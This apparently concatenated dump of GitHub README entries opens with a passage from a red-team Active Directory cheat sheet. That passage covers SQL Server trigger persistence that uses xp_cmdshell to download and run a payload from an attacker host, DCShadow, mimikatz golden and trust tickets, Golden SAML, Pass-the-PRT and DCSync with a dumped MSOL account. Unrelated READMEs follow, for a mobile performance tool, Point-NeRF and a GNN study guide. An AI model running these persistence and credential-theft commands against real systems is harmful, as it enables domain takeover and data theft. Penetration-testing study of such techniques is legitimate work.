Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*use DML triggers for persistence*
```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*use DDL triggers for persistence*
```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*use Logon triggers for persistence*
```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Forest Persistence
### DCShadow
**DCShadow temporarily registers a new domain controller in the target domain** and uses it to "push" attributes like SIDHistory, SPNs... on specified objects without leaving the change logs for modified object!
*โ ๏ธ Requirements :*
- DA privileges are required to use DCShadow.
- The attacker's machine must be part of the root domain.
The attack needs 2 instances on a compromised machine :
**1 instance :** *start RPC servers with SYSTEM privileges and specify attributes to be modified*
```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 instance :** *with enough privileges of DA to push the values :*
```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Cross Forest Attacks
### Trust Tickets
*Dumping Trust Key*
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Forging IR-TGT using Trust key*
```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*get TGS for CIFS service*
```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*use TGS for CIFS service*
```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Using KRBTGT hash
```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory
### AZ User Enumeration
*connection to Azure Active Directory with **Connect-MsolService**.*
```powershell
PS> Connect-MsolService -Credential $cred
```
*this command allow enumeration with MFA (MultiFactor Authentification)*
```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*locate Azure AD Connect Server*
```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Enumeration using AZ CLI
**Storage Enumeration**
*blob storage enumeration*
```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure
*create a new user*
```powershell
New-AzureUser -Username 'john.doe@megacorp.com' -Password catAker
```
*Executes a command on a specified VM*
```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML
*โ ๏ธ Requirements :*
- Admin privileges of ADFS server
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`
> Obtain `ADFS Public Certificate`:
```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Obtain `IdP Name`:
```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Obtain `Role Name`:
```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
a toolkit to exploit Golden SAML can be found [here](https://github.com/secureworks/whiskeysamlandfriends)
> ** Golden SAML is similar to golden ticket and affects the Kerberos protocol. Like the Golden Ticket, the Golden SAML allows an attacker to access resources protected by SAML agents (examples: Azure, AWS, vSphere, Okta, Salesforce, ...) with elevated privileges through a golden ticket.**
*ShockNAwe:*
- 1. Remotely extracts the AD FS configuration settings
- 2. Forges and signs a Golden SAML token
- 3. Extracts the โassertionโ portion of the Golden SAML token and passes it to the Azure Core Management API to obtain a valid access token for the API
- 4. Enumerates the Subscription ID
- 5. Enumerates the complete list of VMs in the subscription
- 6. Executes arbitrary commands on all VMs as SYSTEM/root
*WhiskeySAML:*
- 1. Remotely extract AD FS configuration settings
- 2. Forge and sign Golden SAML tokens
- 3. Pass the Golden SAML token to the Microsoft Azure portal
- 4. Log into the Azure portal as any user while bypassing Azure MFA configurations
```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### PRT Manipulation
#### PassThePRT
*check AzureAdJoined Status and download Mimikatz:*
```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(โhttps://server/Invoke-Mimikatz.ps1โ)
```
*Looking for **prt** and **KeyValue**:*
```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*use **APKD function** to decode **KeyValue** and save **"Context"** and **"DerivedKey"** value:*
```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt
---SNIP---
Signed JWT : eyJ...
```
*Forge PRT-Cookie using [lantern](https://github.com/ConstantinT/Lantern):*
```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Generate JWT*
```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey โGetNonce
```
### MSOL Service Account
> you can dump MSOL Service account with [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) used by Azure AD Connect Sync and launch a DCsync attack with the dumped creds
*DCSync with MSOL account*
```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Miscs
### Domain Level Attribute
#### MachineAccountQuota (MAQ) Exploitation
use crackmapexec (CME) with maq module :
`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`
#### BadPwdCount
```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP 10.10.13.100 389 dc1 Guest badpwdcount: 0 pwdLastSet: <never>
```
### Abusing IPv6 in AD
sending ICMPv6 packet to the target using ping6 :
`ping6 -c 3 <target>`
scanning IPv6 address using nmap :
`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`
tips for adapting tools for ipv6 :
```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
you can replace AF_INET value to AF_INET6 from socket python lib :
```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### Rogue DHCP
`mitm6 -i eth0 -d 'domain.job.local'`
#### IOXIDResolver Interface Enumeration
it's a little script that enumerate addresses in NetworkAddr field with [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants) level
```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter
RPC_C_AUTHN_DCE_PUBLIC = 2
stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
adr = bind['aNetworkAddr']
print("Adresse:", adr)
```
## References
- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml
| Red Team Cheatsheet in constant expansion. | active-directory,pentesting,enumeration,redteam,powershell,real-life,oscp,osep,attack,attacking-active-directory | 0 | 6 | 12 | 298 | 0 | 2 | 0 |
saimoomedits/dotfiles | null | The ArchLinux and AwesomeWM configs. ๐ | archlinux,dotfiles,arch-linux,awesomewm,ricing,rice,linux,setup,configuration,desktop | 0 | 5 | 10 | 82 | 11 | 2 | 0 |
bamlab/flashlight | <p align="center">
<img src="./website/static/img/logo-black.svg" alt="Flashlight" width="50%" ><br />
</p>
# Get a performance score for your app ๐ฆ
Flashlight generates a performance score for your Android app, aggregating different metrics. _(๐ฑ iOS support is also [in the works](https://github.com/bamlab/flashlight/issues))_
๐
No setup required in your app
๐ Measure performance even on **production** apps
โจ Generates beautiful reports ([like this Flatlist/Flashlist comparison](https://docs.flashlight.dev/examples/flashlist/report.html))
<img width="596" alt="image" src="https://github.com/bamlab/flashlight/assets/4534323/82e107f4-8682-4c77-ab18-985fa1b8c2d1" style="border-radius: 10px">
<br />
<br />
With Flashlight ๐ฆ, you can either:
- Upload an app and get your performance score on [app.flashlight.dev](https://app.flashlight.dev/)
Or use the CLI:
- [`flashlight measure`](https://docs.flashlight.dev): quickly audit your perf with real-time measures
- [`flashlight test`](https://docs.flashlight.dev/test): automate your measures with e2e performance testing over several iterations
- [`flashlight cloud`](https://docs.flashlight.dev/cloud): run measures on real devices in the cloud & integrate in your CI setup
## Installation
**macOS/Linux**
```bash
curl https://get.flashlight.dev | bash
```
**Windows**
```powershell
iwr https://get.flashlight.dev/windows -useb | iex
```
## Usage
Head over to the docs at [docs.flashlight.dev](https://docs.flashlight.dev)
## Contributing
We love pull requests! Head over to [the contribution guide](./CONTRIBUTING.md) to get started.
| ๐ฑโก๏ธ Lighthouse for Mobile - audits your app and gives a performance score to your Android apps (native, React Native, Flutter..). Measure performance on CLI, E2E tests, CI... | android,performance,react-native,flutter,lighthouse,native,e2e,mobile,apm,monitoring | 83 | 81 | 236 | 451 | 11 | 40 | 8 |
Xharlie/pointnerf | # Point-NeRF: Point-based Neural Radiance Fields (CVPR 2022 Oral ๐คฉ)
<img src="./images/Adobe-Logos.png" width=120px /><img src="images/USC-Logos.png" width=120px />
[Project Sites](https://xharlie.github.io/projects/project_sites/pointnerf/index.html)
| [Paper](https://arxiv.org/pdf/2201.08845.pdf) |
Primary contact: [Qiangeng Xu](https://xharlie.github.io/)
Point-NeRF uses neural 3D point clouds, with associated neural features, to model a radiance field. Point-NeRF can be rendered efficiently by aggregating neural point features near scene surfaces, in a ray marching-based rendering pipeline. Moreover, Point-NeRF can be initialized via direct inference of a pre-trained deep network to produce a neural point cloud; this point cloud can be finetuned to surpass the visual quality of NeRF with 30X faster training time. Point-NeRF can be combined with other 3D reconstruction methods and handles the errors and outliers in such methods via a novel pruning and growing mechanism.
<!-- <img src="./images/pipeline.png" /> -->
[](https://youtu.be/zmR9j-4AebA)
## Reference
Please cite our paper if you are interested
<strong>Point-NeRF: Point-based Neural Radiance Fields</strong>.
```
@inproceedings{xu2022point,
title={Point-nerf: Point-based neural radiance fields},
author={Xu, Qiangeng and Xu, Zexiang and Philip, Julien and Bi, Sai and Shu, Zhixin and Sunkavalli, Kalyan and Neumann, Ulrich},
booktitle={Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition},
pages={5438--5448},
year={2022}
}
```
## Updates ##
1. To replace pycuda, we have implemented the pytorch cuda functions when using world coordinates to group neural points. Simply set wcoord_query=-1
in your configuration file if the original setting is wcoord_query=1 (see dev_scripts/w_n360/chair_cuda.sh).
2. We have received constructive feedbacks that when Point-NeRF use MVSNet to reconstruct point cloud, the point fusion after depth estimation by MVSNet will use the alpha channel information in the NeRF-Synthetic Dataset. It is due to the fact that MVSNet cannot handle background very well. To improve the fairness, we include new training scripts and results of PointNeRF + MVSNet when using background color for filtering. The results (see below) are similar to the ones that are previously reported.
| | Chair | Drums | Lego | Mic | Materials | Ship | Hotdog | Ficus | Avg |
| ---- | ---- | ---- | --- | ---- | ---- | ---- | ------- | ------- |------- |
| PSNR | 35.60 | 26.04 | 35.27 | 35.91 | 29.65 | 30.61 | 37.34 | 35.61 | 33.25 |
| SSIM | 0.991 | 0.954 | 0.989 | 0.994 | 0.971 | 0.938 | 0.991 | 0.992 | 0.978 |
| LPIPSVgg | 0.023 | 0.078 | 0.021 | 0.014 | 0.071 | 0.129 | 0.036 | 0.025 | 0.050 |
| LPIPSAlex | 0.010 | 0.055 | 0.010 | 0.007 | 0.041 | 0.076 | 0.016 | 0.011 | 0.028 |
This issue only affacts situations when Point-NeRF uses MVSNet on NeRF-Synthetic Dataset. The Colmap results and results on other datasets are not impacted.
An even more reasonable reconstruction approach should exclude using the knowledge of background color or other point filtering. Therefore, we suggest users to combine PointNeRF with more powerful MVS models, such as [TransMVS](https://github.com/megvii-research/TransMVSNet).
## Overal Instruction
1. Please first install the libraries as below and download/prepare the datasets as instructed.
2. Point Initialization: Download pre-trained MVSNet as below and train the feature extraction from scratch or directly download the pre-trained models. (Obtain 'MVSNet' and 'init' folder in checkpoints folder)
3. Per-scene Optimization: Download pre-trained models or optimize from scratch as instructed.
For nerfsynthetic, colmap_nerfsynthetic, tanks&temples, scannet and dtu,
We provide all the checkpoint_files [google drive](https://drive.google.com/drive/folders/1xk1GhDhgPk1MrlX8ncfBz5hNMvSa9vS6?usp=sharing) | [baidu wangpan](https://pan.baidu.com/s/1doJHI03Tgl_qIquGZuW5bw?pwd=p8bs); all the images and scores of the test results [google drive](https://drive.google.com/drive/folders/1KAYs7XuBJNMTHVBuOCtpLNv9P8UMoayw?usp=sharing) | [baidu wangpan](https://pan.baidu.com/s/1BMewWRSIkNFlp7DKYmx9vQ?pwd=3yse); and video results [google drive](https://drive.google.com/drive/folders/1dutZEZO9vfeIbfWwplbIIam7YBeyZ0dY?usp=sharing) | [baidu wangpan](https://pan.baidu.com/s/1kC1qSL5dkT8cDdE3dHTc2A?pwd=j46j);
We also share the visual results of [npbg](https://github.com/alievk/npbg), [nsvf](https://github.com/facebookresearch/NSVF) and [ibrnet](https://github.com/googleinterns/IBRNet) on the Nerf Synthetic dataset generated by our machine [google drive](https://drive.google.com/drive/folders/1KHhljnqLvIJkRkaqQ8TaeBZirMsnDAhf?usp=sharing); Please cite their papers accordingly if interested.
## Installation
### Requirements
All the codes are tested in the following environment:
* Linux (tested on Ubuntu 16.04, 18.04, 20.04)
* Python 3.6+
* PyTorch 1.7 or higher (tested on PyTorch 1.7, 1.8.1, 1.9, 1.10)
* CUDA 10.2 or higher
### Install
Install the dependent libraries as follows:
* Install the dependent python libraries:
```
pip install torch==1.8.1+cu102 h5py
pip install imageio scikit-image
```
* Install pycuda (crucial) following:
https://documen.tician.de/pycuda/install.html
* Install torch_scatter following:
https://github.com/rusty1s/pytorch_scatter
We develope our code with pytorch1.8.1, pycuda2021.1, and torch_scatter 2.0.8
## Data Preparation
The layout should looks like this, we provide all data folder here: [google_drive](https://drive.google.com/drive/folders/1-Fn5g-NgHC0RcyWapHdfsqbSQksTgB4N?usp=sharing), except for scannet (We take it down on Mar 8th 2023, to respect Scannet's policy, please go to Scannet's official website for data.)
```
pointnerf
โโโ data_src
โ โโโ dtu
โ โ โโโCameras
โ โ โโโDepths
โ โ โโโDepths_raw
โ โ โโโRectified
โโโ nerf
โ โ โโโnerf_synthetic
โ โ โโโnerf_synthetic_colmap
โโโ TanksAndTemple
โโโ scannet
โ โ โโโscans
| โ โ โโโscene0101_04
| โ โ โโโscene0241_01
```
Or you can download using the official links as follows:
## DTU:
Download the preprocessed [DTU training data](https://drive.google.com/file/d/1eDjh-_bxKKnEuz5h-HXS7EDJn59clx6V/view)
and [Depth_raw](https://virutalbuy-public.oss-cn-hangzhou.aliyuncs.com/share/cascade-stereo/CasMVSNet/dtu_data/dtu_train_hr/Depths_raw.zip) from original [MVSNet repo](https://github.com/YoYo000/MVSNet)
and unzip.
## NeRF Synthetic
Download `nerf_synthetic.zip` from [here](https://drive.google.com/drive/folders/128yBriW1IG_3NJ5Rp7APSTZsJqdJdfc1) under ``data_src/nerf/''
## Tanks & Temples
Follow Neural Sparse Voxel Fields and download [Tanks&Temples](https://www.tanksandtemples.org/) | [download (.zip)](https://dl.fbaipublicfiles.com/nsvf/dataset/TanksAndTemple.zip) | 0_\* (training) 1_\* (testing) as:
``data_src/TanksAndTemple/''
## ScanNet
Download and extract ScanNet by following the instructions provided at http://www.scan-net.org/. The detailed steps including:
* Go to http://www.scan-net.org and fill & sent the request form.
* You will get a email that has command instruction and a download-scannet.py file, this file is for python 2, you can use our download-scannet.py in the ``data'' directory for python 3.
* clone the official repo:
```
git clone https://github.com/ScanNet/ScanNet.git
```
* Download specific scenes (used by NSVF):
```
python data/download-scannet.py -o ../data_src/scannet/ id scene0101_04
python data/download-scannet.py -o ../data_src/scannet/ id scene0241_01
```
* Process the sens files:
```
python ScanNet/SensReader/python/reader.py --filename data_src/nrData/scannet/scans/scene0101_04/scene0101_04.sens --output_path data_src/nrData/scannet/scans/scene0101_04/exported/ --export_depth_images --export_color_images --export_poses --export_intrinsics
python ScanNet/SensReader/python/reader.py --filename data_src/nrData/scannet/scans/scene0241_01/scene0241_01.sens --output_path data_src/nrData/scannet/scans/scene0241_01/exported/ --export_depth_images --export_color_images --export_poses --export_intrinsics
```
## Point Initialization / Generalization:
### Download pre-trained MVSNet checkpoints:
We trained [MVSNet](https://github.com/xy-guo/MVSNet_pytorch) on DTU. You can Download ''MVSNet'' directory from
[google drive](https://drive.google.com/drive/folders/1xk1GhDhgPk1MrlX8ncfBz5hNMvSa9vS6?usp=sharing)
and place them under '''checkpoints/'''
### Train 2D feature extraction and point representation
##### Directly use our trained checkpoints files:
Download ''init'' directory from
[google drive](https://drive.google.com/drive/folders/1xk1GhDhgPk1MrlX8ncfBz5hNMvSa9vS6?usp=sharing).
and place them under '''checkpoints/'''
##### Or train from scratch:
Train for point features of 63 channels (as in paper)
```
bash dev_scripts/ete/dtu_dgt_d012_img0123_conf_color_dir_agg2.sh
```
Train for point features of 32 channels (better for per-scene optimization)
```
bash dev_scripts/ete/dtu_dgt_d012_img0123_conf_agg2_32_dirclr20.sh
```
After the training, you should pick a checkpoint and rename it to best checkpoint, e.g.:
```
cp checkpoints/dtu_dgt_d012_img0123_conf_color_dir_agg2/250000_net_ray_marching.pth checkpoints/dtu_dgt_d012_img0123_conf_color_dir_agg2/best_net_ray_marching.pth
cp checkpoints/dtu_dgt_d012_img0123_conf_color_dir_agg2/250000_net_mvs.pth checkpoints/dtu_dgt_d012_img0123_conf_color_dir_agg2/best_net_mvs.pth
```
### Test feed forward inference on dtu scenes
These scenes that are selected by MVSNeRF, please also refer their code to understand the metrics calculation.
```
bash dev_scripts/dtu_test_inf/inftest_scan1.sh
bash dev_scripts/dtu_test_inf/inftest_scan8.sh
bash dev_scripts/dtu_test_inf/inftest_scan21.sh
bash dev_scripts/dtu_test_inf/inftest_scan103.sh
bash dev_scripts/dtu_test_inf/inftest_scan114.sh
```
## Per-scene Optimization:
<img src="https://github.com/Xharlie/xharlie.github.io/raw/master/projects/project_sites/pointnerf/vid/ficus.gif" width="45%" /><img src="https://github.com/Xharlie/xharlie.github.io/raw/master/projects/project_sites/pointnerf/vid/scene101.gif" width="50%" />
<img src="https://github.com/Xharlie/xharlie.github.io/raw/master/projects/project_sites/pointnerf/vid/truck.gif" width="70%" />
(Please visit the project sites to see the original videos of above scenes, which have quality loss when being converted to gif files here.)
### Download per-scene optimized Point-NeRFs
You can skip training and download the folders of ''nerfsynth'', ''tanksntemples'' and ''scannet'' here [google drive](https://drive.google.com/drive/folders/1xk1GhDhgPk1MrlX8ncfBz5hNMvSa9vS6?usp=sharing), and place them in ''checkpoints/''.
```
pointnerf
โโโ checkpoints
โ โโโ init
โโโ MVSNet
โโโ nerfsynth
โโโ col_nerfsynth
โโโ scannet
โโโ tanksntemples
```
In each scene, we provide initialized point features and network weights ''0_net_ray_marching.pth'', points and weights at 20K steps ''20000_net_ray_marching.pth'' and 200K steps ''200000_net_ray_marching.pth''
### Test the per-scene optimized Point-NeRFs
#### NeRF Synthetics
<details>
<summary>test scripts</summary>
```
bash dev_scripts/w_n360/chair_test.sh
bash dev_scripts/w_n360/drums_test.sh
bash dev_scripts/w_n360/ficus_test.sh
bash dev_scripts/w_n360/hotdog_test.sh
bash dev_scripts/w_n360/lego_test.sh
bash dev_scripts/w_n360/materials_test.sh
bash dev_scripts/w_n360/mic_test.sh
bash dev_scripts/w_n360/ship_test.sh
```
</details>
#### ScanNet
<details>
<summary>test scripts</summary>
```
bash dev_scripts/w_scannet_etf/scane101_test.sh
bash dev_scripts/w_scannet_etf/scane241_test.sh
```
</details>
#### Tanks & Temples
<details>
<summary>test scripts</summary>
```
bash dev_scripts/w_tt_ft/barn_test.sh
bash dev_scripts/w_tt_ft/caterpillar_test.sh
bash dev_scripts/w_tt_ft/family_test.sh
bash dev_scripts/w_tt_ft/ignatius_test.sh
bash dev_scripts/w_tt_ft/truck_test.sh
```
</details>
### Per-scene optimize from scatch
Make sure the ''checkpoints'' folder has ''init'' and ''MVSNet''.
The training scripts will start to do initialization if there is no ''.pth'' files in a scene folder. It will start from the last ''.pth'' files until reach the iteration of ''maximum_step''.
#### NeRF Synthetics using MVSNet (w/ alpha channel filtering during point cloud reconstruction and pycuda)
<details>
<summary>train scripts</summary>
```
bash dev_scripts/w_n360/chair.sh
bash dev_scripts/w_n360/drums.sh
bash dev_scripts/w_n360/ficus.sh
bash dev_scripts/w_n360/hotdog.sh
bash dev_scripts/w_n360/lego.sh
bash dev_scripts/w_n360/materials.sh
bash dev_scripts/w_n360/mic.sh
bash dev_scripts/w_n360/ship.sh
```
</details>
#### NeRF Synthetics using MVSNet (w/ background color filtering during point cloud reconstruction and pytorch cuda)
<details>
<summary>train scripts</summary>
```
bash dev_scripts/w_n360/chair_cuda.sh
bash dev_scripts/w_n360/drums_cuda.sh
bash dev_scripts/w_n360/ficus_cuda.sh
bash dev_scripts/w_n360/hotdog_cuda.sh
bash dev_scripts/w_n360/lego_cuda.sh
bash dev_scripts/w_n360/materials_cuda.sh
bash dev_scripts/w_n360/mic_cuda.sh
bash dev_scripts/w_n360/ship_cuda.sh
```
</details>
#### NeRF Synthetics using COLMAP points
Please download the COLMAP data (see above). If there is {maximum_step}.pth checkpoint files in the path, the scripts below will also run test.
<details>
<summary>train scripts</summary>
```
bash dev_scripts/w_colmap_n360/col_chair.sh
bash dev_scripts/w_colmap_n360/col_drums.sh
bash dev_scripts/w_colmap_n360/col_ficus.sh
bash dev_scripts/w_colmap_n360/col_hotdog.sh
bash dev_scripts/w_colmap_n360/col_lego.sh
bash dev_scripts/w_colmap_n360/col_materials.sh
bash dev_scripts/w_colmap_n360/col_mic.sh
bash dev_scripts/w_colmap_n360/col_ship.sh
```
</details>
#### ScanNet
<details>
<summary>train scripts</summary>
```
bash dev_scripts/w_scannet_etf/scene101.sh
bash dev_scripts/w_scannet_etf/scene241.sh
```
</details>
#### Tanks & Temples
<details>
<summary>train scripts</summary>
```
bash dev_scripts/w_tt_ft/barn.sh
bash dev_scripts/w_tt_ft/caterpillar.sh
bash dev_scripts/w_tt_ft/family.sh
bash dev_scripts/w_tt_ft/ignatius.sh
bash dev_scripts/w_tt_ft/truck.sh
```
</details>
## Acknowledgement
Our repo is developed based on [MVSNet](https://github.com/YoYo000/MVSNet), [NeRF](https://github.com/bmild/nerf), [MVSNeRF](https://github.com/apchenstu/mvsnerf), and [NSVF](https://github.com/facebookresearch/NSVF).
Please also consider citing the corresponding papers.
The project is conducted collaboratively between Adobe Research and University of Southern California.
## LICENSE
The repo is licensed under Creative Commons Attribution-NonCommercial-ShareAlike 2.0, and is restricted to academic use only.
See [LICENSE](https://github.com/Xharlie/pointnerf/blob/master/LICENSE.md).
| Point-NeRF: Point-based Neural Radiance Fields | nerf,point-cloud,point-based-graphics,volume-rendering,differentiable-rendering,neural-rendering,neural-renderer,mvs,multiview-stereo,reconstruction | 0 | 3 | 3 | 44 | 68 | 1 | 0 |
xiaorouji/openwrt-passwall2 | null | null | null | 43 | 31 | 66 | 392 | 11 | 1 | 2 |
dair-ai/GNNs-Recipe | # Graph Neural Networks (GNNs) Study Guide
Graph neural networks (GNNs) are rapidly advancing progress in ML for complex graph data applications. I've composed this concise recipe (i.e., studysheet) dedicated to students who are lookin to learn and keep up-to-date with GNNs. It's non-exhaustive but it aims to get students familiar with the topic.
## โญ Gentle Introduction to GNNs
There are several introductory content to learn about GNNs. The following are some useful ones:
๐ [Foundations of GNNs](https://www.youtube.com/watch?v=uF53xsT7mjc) (by Petar Veliฤkoviฤ)
๐ [Gentle Introduction to GNNs](https://distill.pub/2021/gnn-intro/) (by Distill)
๐ [Understanding Convolutions on Graphs](https://distill.pub/2021/understanding-gnns/) (by Distill)
๐ [Math Behind Graph Neural Networks](https://rish-16.github.io/posts/gnn-math/) (by Rishabh Anand)
๐ [Graph Convolutional Networks](http://tkipf.github.io/graph-convolutional-networks/) (by Thomas Kipf)
๐[Graph Neural Networks for Geometric Graphs - Chaitanya K. Joshi, Simon V. Mathis](https://youtu.be/VKj5wzZsoK4)
## ๐ Survey Papers on GNNs
Here are two fantastic survey papers on the topic to get a broader and concise picture of GNNs and recent progress:
๐ [Graph Neural Networks: A Review of Methods and Applications](https://arxiv.org/abs/1812.08434) (Jie Zhou, Ganqu Cui, Shengding Hu, Zhengyan Zhang, Cheng Yang, Zhiyuan Liu, Lifeng Wang, Changcheng Li, Maosong Sun)
๐ [Graph Neural Networks: Methods, Applications, and Opportunities](https://arxiv.org/abs/2108.10733) (Lilapati Waikhom, Ripon Patgiri)
๐ [A Comprehensive Survey on Graph Neural Networks](https://arxiv.org/abs/1901.00596) (Zonghan Wu, Shirui Pan, Fengwen Chen, Guodong Long, Chengqi Zhang, Philip S. Yu)
## ๐ฉโ๐ป Diving Deep into GNNs
After going through quick high-level introductory content, here are some great material to go deep:
๐ [Geometric Deep Learning](https://geometricdeeplearning.com/) (by Michael M. Bronstein, Joan Bruna, Taco Cohen, Petar Veliฤkoviฤ)
๐ [Graph Representation Learning Book](https://www.cs.mcgill.ca/~wlh/grl_book/) (by William Hamilton)
๐ [CS224W: ML with Graphs](https://www.youtube.com/playlist?list=PLoROMvodv4rPLKxIpqhjhPgdQy7imNkDn) (by Jure Leskovec)
## ๐ GNN Papers and Implementations
If you want to keep up-to-date with popular recent methods and paper implementations for GNNs, the Papers with Code community maintains this useful collection:
๐ [Graph Models by Papers with Code](https://paperswithcode.com/methods/category/graph-models)
## ๐ Benchmarks and Datasets
If you are interested in benchmarks/leaderboards and graph datasets that evaluate GNNs, the Papers with Code community also maintains such content here:
๐ [Datasets by Papers with Code](https://paperswithcode.com/datasets?mod=graphs&page=1)
๐ [Graph Benchmarks by Papers with Code](https://paperswithcode.com/area/graphs)
## :octocat: Tools
Here are a few useful tools to get started with GNNs:
๐ฅ [PyTorch Geometric](https://pytorch-geometric.readthedocs.io/en/latest/#)
๐ [Deep Graph Library](https://www.dgl.ai/)
๐ฆ [jraph](https://github.com/deepmind/jraph)
๐ [Spektral](https://graphneural.network/)
## ๐ Tutorials
I will be posting several tutorials on GNNs, here is the first of the series. More coming soon!
<table>
<tr>
<td>Introduction to GNNs with PyTorch Geometric</td>
<td><a href="https://colab.research.google.com/drive/1d0jLDwgNBtjBVQOFe8lO_1WrqTVeVZx9?usp=sharing">
<img src="https://colab.research.google.com/assets/colab-badge.svg" width = '' >
</a></td>
</tr>
</table>
---
To get regular updates on new ML and NLP resources, follow me on [Twitter](https://twitter.com/omarsar0).
| ๐ A study guide to learn about Graph Neural Networks (GNNs) | graph-neural-networks,deep-learning,machine-learning,graph,graph-convolutional-networks | 0 | 3 | 3 | 15 | 0 | 2 | 0 |
scambier/obsidian-omnisearch | # Omnisearch for Obsidian
[](https://github.com/sponsors/scambier)
